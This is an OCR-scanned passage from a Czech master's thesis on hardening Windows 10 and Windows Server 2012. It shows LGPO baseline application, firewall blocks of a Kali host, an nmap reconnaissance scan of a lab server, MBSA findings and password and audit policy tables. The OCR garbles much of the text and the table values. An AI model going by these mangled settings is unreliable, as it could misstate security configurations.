projit predtim, nez je aplikovano. Paklize by administrator neovéfil a neptfesvédcil se
0 jednotlivych pravidlech, mohlo by dojit k nepfiméfenym omezenim nejen uzivatele, ale také
samotné funk¢nosti systému. Pravidla, kterd jsou zde navrzena, nemusi byt vzdy vhodna pro
kazdého, a proto je nezbytné je verifikovat uz pti budovani. Druh4 faze verifikace je samotné
testovani systému, zda plni sviij ucel, pro ktery byl nainstalovan a zaroven jestli néktera nova

pravidla neomezuji jeho chod.

Jakmile jsou pravidla nastavend, je nutné je vyexportovat. MSCM nabizi export do n¢kolika
soubortl, Excel, GPO, SCAP nebo SCM. Pro export nastavenych pravidel je pouzit GPO, ktery

1ze bud’ stahnout samostatné nebo je i soucasti Microsoft Security Compliance Toolkit.

Soucasti balicku LGPO je dokumentace, ktera ptedstavuje praci s programem a zarovei
upozoriiuje na nezbytnd administratorska prava. Spusténi skriptu, ktery provadi konfiguraci uz

je zcela jednoduché.
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skript.bat - Notepad

File Edit Format View Help
@echo off

ALGPO.exe /g .\Baseline\Winl@

Obrazek 55 - aplikovani pravidel pomoci LGPO, Zdroj: Vliastni

Pro ovéteni nové konfigurace je mozné odlogovat uzivatele nebo zkontrolovat nastaveni

V Mistnich zasadach zabezpeceni.

Th Security Settings Policy Security Setting

Domain member: Maximum machine account password age 30 days

Domain member: Require strong (Windows 2000 or later) se.. Enabled

5 Account Policies
w | g Local Policies
5 Audit Policy

. . Interactive logon: Display user information when the seszion... Do not display user infor...
5 User Rights Assignment g play play

- - Interactive logon: Do not display last user name Dizabled
o Security Options i ) .
Windows Firewall with Advanced Sect Interactive logon: Do not require CTRL+ALT+DEL Disabled
, Network List Manager Policies Interactive logon: Machine account leckout threshold 5 invalid legon attempts
Y Duklie Keu Drlirise Interactive logon: Machine inactivity limit 900 seconds

Obrizek 56 - kontrola nastaveni mistnich politik, Zdroj: Viastni

Dtkazem zabezpeceni a spravného nastaveni bezpecnostnich politik mohou byt jakékoliv

pokusy 0 navazani spojeni ze strany Kali Linuxu.
Posledni zablokovana komunikace

Aplikace nebo zafizend Reputace  Blokovdno

NT Kernel & System

vlicrosoft Corporation 267x Detaily
- System
Tl el N/A 267x Deta
P 10,0.2.15 -
Lokdlni aplikace Cilowvy port Protokaol Smér Pocet Detaily
System N/A [CMP Dovnitf 367 ket Kemunikace zamitnuta pravidlem

Blokovat ICMP komunikaci

Obrazek 57 - zablokované spojeni s Kali Linuxem, Zdroj: Viastni
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10.4.2 Windows Server

Ptedtim nez je mozné podrobit Windows Server 2012 testovani, je nutné opét z diivéryhodného
zdroje ziskat instalacni soubor a postupovat podle hardeningovych pokynt, které doporucuji

jak postupovat pfi instalaci.

Stejné utoky, které byly provedené na Windows 10, je mozné vyuzit pii napadeni Windows
Serveru. A tak tedy uto¢nik opé&t oskenuje porty a zjisti, zda nejsou oteviené nékteré porty nebo
pouzivané sluzby, které by mohl vyuzit k proniknuti do systému. Jelikoz se jedna o Cistou

instalaci Windows Server, nenachazi se zde zneuzitelna sluzba nebo otevieny port.

:~# nmap 10.0.2.9 -sV -0

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-20 17:02 EDT
Nmap scan report for 10.0.2.9

Host is up (0.00027s latency).

Not shown: 992 closed ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012
microsoft-ds

49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

49156/tcp open msrpc Microsoft Windows RPC

49159/tcp open msrpc Microsoft Windows RPC

MAC Address: 08:00:27:4E:EC:24 (Oracle VirtualBox virtual NIC)
Device type: general purpose

Running: Microsoft Windows 2012|7|8.1

Obrazek 58 - nmap - sken porti Windows Server, Zdroj: Viastni
Avsak autorovi se povedlo nakazit systém stejnym zpusobem jako v pfipadé Windows 10.
Windows Server tedy minimalné ve své zakladni instalaci neni schopen ubranit se utoku ze
strany trojského kon¢ a jiného Skodlivého kodu. Proto i na Windows Server je nezbytné nutné

aplikovat bezpecnostni politiky a podrobit systém hardeningu.

90



Report Details for WORKGROUP - WIN-7CKEF1TS5RF (2017-08-15 20:15:01)

Security assessment:

2 Incomplete Scan (Could not complete one or more requested checks.)

Computer name:

IP address:

Security report name:

Scan date:

Scanned with MBSA version:
Catalog synchronization date:

Security update catalog:

WORKGROUPYWIN-FCKEF ITS5RF

10.0.2.9

WORKGROUP - WIN-FCKEF1ITSSRF (15, 8, 2017 20-15)
15, 8, 2017 20:15

2.3.2211.0

2017-08-07T03:17:512

Microsoft Update (offline)

Sort Order: |S|:|:|re (worst first) V|

Security Update Scan Results

Score
W

Issue

Developer
Tools,
Runtimes, and
Redistributables
Security
Updates
Windows
Security
Updates

SQL Server
Security
Updates

Windows Scan Results

Result

1 security updates are missing.

What was scanned  Result details  How to correct this

118 security updates are missing. 2 service packs or update rollups are missing.
What was scanned  Result details  How to correct this

1 service packs or update rollups are missing.
What was scanned  Resultdetails  How to correct this

Administrative Vulnerabilities

Score
W

& & & ¢ 9 &

Issue

Automatic
Updates

Password
Expiration

Incomplete
Updates

Local Account
Password Test
File System
Autologon

Guest Account

Result

The Automatic Updates feature has not been configured on this computer. Please upagrade to the late:
Automatic Updates.
What was scanned How to correct this

Some user accounts (1 of 2) have non-expiring passwords.

What was scanned  Resultdetails  How to correct this

Mo incomplete software update installations were found.

What was scanned

Some user accounts (1 of 2) have blank or simple passwords, or could not be analyzed.
What was scanned  Result details

All hard drives (1) are using the NTFS file system.

What was scanned  Result details

Autologon is not configured on this computer.

What was scanned

The Guest account is disabled on this computer.

Obrazek 59 - Microsoft Baseline Analyzer - Windows Server, Zdroj: Viastni

Za normalnich okolnosti je zvykem po prvnim spusténi, provést zdkladni konfigurace, ptidat

role a funkce nebo dalsi servery, které jsou spravované a dale ziskani dostupnych aktualizaci

pro systém. Na zakladé€ toho, jaké sluzby jsou na serveru pouzivané, vybira se checklist.

Od Windows 2003 mohou prvni kroky, které vedou k zabezpeceni Windows Serveru sméfovat

k Privodci konfiguraci zabezpeceni. V pravodci je mozné vytvofit, jaké jsou role serveru a jaka

funkce je roli pfitazena. Kuptikladu je mozné povolit DNS, FTP nebo SMTP server. Déle
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umoznuje konfigurovat klientské funkce naptiklad klient vzdaleného pristupu, ktery umoznuje
pfipojovani se k jinym sitim pomoci VPN nebo nastavovani moznosti a sluzeb pro spravu
serveru. Pfi hardeningu Windows Serveru je vhodné pouzivat kombinaci alesponi dvou baseline,
jelikoz néktera pravidla nemusi byt v jednom nebo druhém checklistu uvedena. Jak bylo
zminéno, na jednotlivé sluzby se vyuzivaji jind pravidla a jiné baseline. Pro sluzbu Active
Directory je to jiny checklist nez pro DNS Server. Tato prace se zabyva hardeningem bézného
politiky zabezpe¢eného systému, a proto je vyuzit Member Server Security Compliance, ktery

¢ita pres 230 polozek.

Windows Server md podobné nastavovani politik a vétSina znich jiz neni tieba zvlasté
upravovat, ackoliv se najdou vyjimky. Napiiklad pocet ptredchozich ptihlaseni uloZenych

vV paméti cache je v defaultnim nastaveni 10, pro spravné nastaveni je hodnota zménéna na 3.

Audit Policy: Account Management: Security Group Management Success Success and Failur Success and Failur Critical
Audit Policy: Policy Change: Other Policy Change Events No auditing No Auditing No Auditing Critical
Audit Policy: System: Security State Change Success Success and Failur Success and Failwe Critical
Audit Policy: Policy Change: Authentication Policy Change Success Success Success Critical
Audit: Force audit policy subcategory settings (Windows Vista or later) to override Mot defined Enabled Enabled Critical
Audit Policy: Account Management: Computer Account Management Success Success Success Critical
Audit Policy: Object Access: SAM Mo auditing No Auditing No Auditing Critical
Audit Policy: Account Logon: Kerberos Authentication Service Mo auditing No Auditing No Auditing Critical
Audit Policy: System: System Integrity Success and Failur Success and Failur Success and Failur Critical
Audit Policy: Privilege Use: Other Privilege Use Events Mo auditing No Auditing No Auditing Critical
Audit Policy: Logon-Legoff: Logon Success Success and Failur Success and Failme Critical
Audit Policy: Logon-Logoff: Other Logon/Logoff Events No auditing No Auditing No Auditing Critical
Audit Policy: DS Access: Directory Service Access No auditing No Auditing No Auditing Critical
Audit Policy: Object Access: File System Mo auditing No Auditing No Auditing Critical
Audit Policy: Object Access: Handle Manipulation Mo auditing No Auditing No Auditing Critical
Audit Policy: Account Management: User Account Management Success Success and Failur Success and Failur Critical
Audit Policy: Logon-Logoff: IPsec Extended Mode Mo auditing No Auditing No Auditing Critical
Audit: Audit the access of global system objects Disabled Mot Defined Naot Defined Critical
Audit Policy: Object Access: Filtering Platform Packet Drop No auditing No Auditing No Auditing Critical
Audit Policy: Account Logon: Other Account Logon Events No auditing No Auditing No Auditing Critical
Audit Policy: Logon-Legoff: Special Logon Success Success Success Critical
Audit Policy: Object Access: Application Generated Mo auditing No Auditing No Auditing Critical
Audit Policy: Object Access: Kernel Object No auditing No Auditing No Auditing Critical
Audit Policy: Account Logon: Credential Validation Mo auditing Success and Failur Success and Failwe Critical

Obrazek 60 - nastaveni bezpecnostnich politik Windows Server

Jednou ze sekci bezpecnostnich politik je logovani riznych udalosti, které jsou potieba sledovat

a vyhodnocovat, zda se nékdo neopravnény nepokousel napadnout systém.
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# Password Attributes 2 Setting(s)
Domain member: Disable machine account password changes Disabled

Network access: Do not allow storage of passwords and credentials for network a Disabled

Domain contreller: Refuse machine account password changes Mot defined
Domain member: Maximum machine account password age 30 days
Interactive logen: Prompt user to change password before expiration 14 days
Network security: Do not store LAN Manager hash value on next password change Enabled
Microsoft network client: Send unencrypted password to third-party SMB servers Disabled
Accounts: Limit local account use of blank passwards to console logon only Enabled

Obrazek 61 - nastaveni politiky hesel, Zdroj: Viastni

Disabled
MNot Defined
Mot Defined
30 day(s)

14 dayl(s)
Enabled
Disabled
Enabled

Disabled
Disabled
Mot Defined
30 day(s)

7 day(s)
Enabled
Disabled
Enabled

Pro nastaveni zbyvajicich politik je mozné vyuzit dalSich checklist, které se mohou vénovat

hardeningnu dalsich soucasti systému. Dalsi vhodné baseline je mozné sloucit a vytvofit novy

specialné upraveny pro vlastni ucely.

Jako druhy checklist je mozné vyuzit Domain Security Compliance, jenz obsahuje pouze devét

pravidel a ktery se primarné zaméfuje na zabezpeceni hesla.

W52012 Domain Security Compliance 1.0 0 unigue setting(s)

~  Advanced View

Mame Default
4 Account Lock 3 Setting(s)
Account lockout duration Mot defined

Account lockout threshold
Reset account lockout counter after 0

4 Password Attributes 6 Setting(s)
Enforce password history

Minimum password length 0 characters

Store passwords using reversible encryption Disabled
Maximum password age 42 days
Password must meet complexity requirements Disabled
Minimum password age 0 days

Microsoft

15 minute(s)

0 invalid logen ati 5 invalid logen ati

15 minute(s)

24 passwords rem 24 password(s)

14 characten(s)
Disabled

80 days
Enabled

1 day(s)

Obrazek 62 - Domain Security Compliance, Zdroj: Viastni

Customized

15 minute(s)
5 invalid logon :

15 minute(s)

24 password(s)
14 characten(s)
Dizabled

60 days
Enabled

1 dayis)

V této chvili jsou v§echna poZadovana pravidla nastavena a je mozné je exportovat. Pravidla se

opét vygeneruji ve formé skriptu do formatu. GPO a pomoci nastroje LGPO jsou pravidla

uvedena do provozu.

Paklize se administratorovi hodi jen nekteré polozky nebo nechce vyuzivat cely checklist, miize

vyuzit manudlniho nastavovani dalSich prostfedkii k dosaZzeni compliance. Viz nasledujici
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obrazek, kde muze administrator upfesnit jednotliva nastaveni, aniz by musel prochazet

checklist a opét exportovat vS§echna nastaveni.

e 2E XEE B

E[ Mistni poéitaé - zasady Zasady “ Mastaveni zabezpeceni
4 i Konfigurace poditade 15 Heslo musi spliiovat poZadavky na slofitost Poveleno
I ] Mastaveni softwaru %] Maximalnf staii hesla 30dnd
4 [ Nastavenisystému Windows b Minimalni délkabesla ___________________1mad |
b [] Zdsady piekladu IP adres [ Minimalni staff hesla 0 dni
‘:_i:‘ Skripty (spoustécinebe ukoncovaci) 1is] Uklddat hesla pomoc reverzibilntho Sifrovani Zakdzano
4 i Nastaveni zabezpelent 15 Vynutit pouZiti historie hesel 24 hesel zapamatovano

4 [ 4 Zasady Géta
4, Zasady hesla

Obrazek 63 - Dodate¢né nastaveni mistnich politik, Zdroj: Viastni
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ZAVER

Cilem diplomova prace bylo v teoretické Casti pfedstavit problematiku hardeningu a také
predstavit dilezité terminy a metodiky spjaté s touto problematikou. Déle pak bylo tfeba provést
resersi nejnovejsich trendl této problematiky. Prakticka ¢ast prace predstavuje modelovou sit’,

na niz byly prezentovany postupy hardeningu, které byly popsany v teoretické casti.

Jednotlivé kapitoly teoretické Casti se postupné vénovaly uréitému pohledu na bezpecnost OS
a siti. Prvni kapitola pfedstavila metodiku penetra¢niho testovani, které je vychodiskem pro
vyhodnoceni stavu zabezpecCeni ur¢itého segmentu IS. Dalsi kapitola popsala termin hacking
a predstavila vyuzivané zptsoby (Buffer overflow, XSS). Zavér teoretické casti byl zaméfeny
na to, kde Ize ziskat informaci o zranitelnostech informacnich systému (celosvétova databaze

zranitelnosti NIST.org) a byly popsany role bezpecnostnich tymt CERT/CSIRT.

V praktické ¢asti bylo na modelové siti predvedeno enumeration a praktické moznosti napadeni
systému pomoci trojského kon¢. Dale byly jednotlivé systémy Windows 10 a Windows Server
2012, podrobeny hardeningu s cilem dosazeni shody s bezpe¢nostnimi doporuceni Microsoft
a NIST. Soucasti teoretické casti byla kapitola, vénujici se komparativni analyze, ktera
predstavila Microsoft Security Compliance Manager a Security Content Automation Protokol,
ktery je pouzivany NIST.org. Ac¢koliv autor se zaméfil na produkty Microsoftu a tedy 1 ve své
préci pouzival Microsoft Security Compliance, bylo zji$téno, Ze neni mozné, oznacit jeden nebo
druhy nastroj za lepsi, jelikoZ oba produkty maji stejné cile. Samotné pouZiti vzdy jednotlivych
nastrojii zalezi na zkuSenostech administratort a pozadavkl sité. Dale bylo zjisténo, ze
pouzivani Microsoft Security Compliance Manager a hardeningovych postupti miize zna¢né

zvysit zabezpeceni operacnich systémi.

Hardening systému je nekoncicim procesem aneni mozné napsat univerzalni navod pro
vSechny systémy nebo organizace. Proto také existuje mnozstvi organizaci, checklistli
a baseline vénujici se zabezpeCovani systému. A prestoze tyto organizace mohou mit odlisné
metody, maji spolec¢né cile a mnohdy maji spolecné i to, jak toho cile dosahnout. Nové Systémy
se vyviji na denni bazi, avSak stejn¢ rychle jak se vyviji nové systémy, tak se objevuji nové
a nové hrozby a slabiny, které jsou zneuzitelné uto¢niky. Bezpecnostni slozky, agentury a dalsi
certifikani organizace pfevazné reaguji na zneuziti nové hrozby. Ackoliv jsou vynakladané
obrovské prostfedky na zabezpeceni vzdy ten, kdo se pokousi nicit a ne stavét bude vzdy o krok

napied.
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Bezpecnost je véc, kterd by prosté byt podcenéna nikdy neméla. Bezpe¢nymi hesly a spravnym
chovanim nechranime pouze sebe, svou praci, ale také ostatni, v€etné ptislusnikt vlastni rodiny.
Je piili§ mnoho lidi, jenZ pouziva heslo, které je ipii malé znalosti doty¢ného okamzité

vydedukovatelné - prolomitelné, at’ uz na socialni sit¢, mail ¢i v internetovém bankovnictvi.
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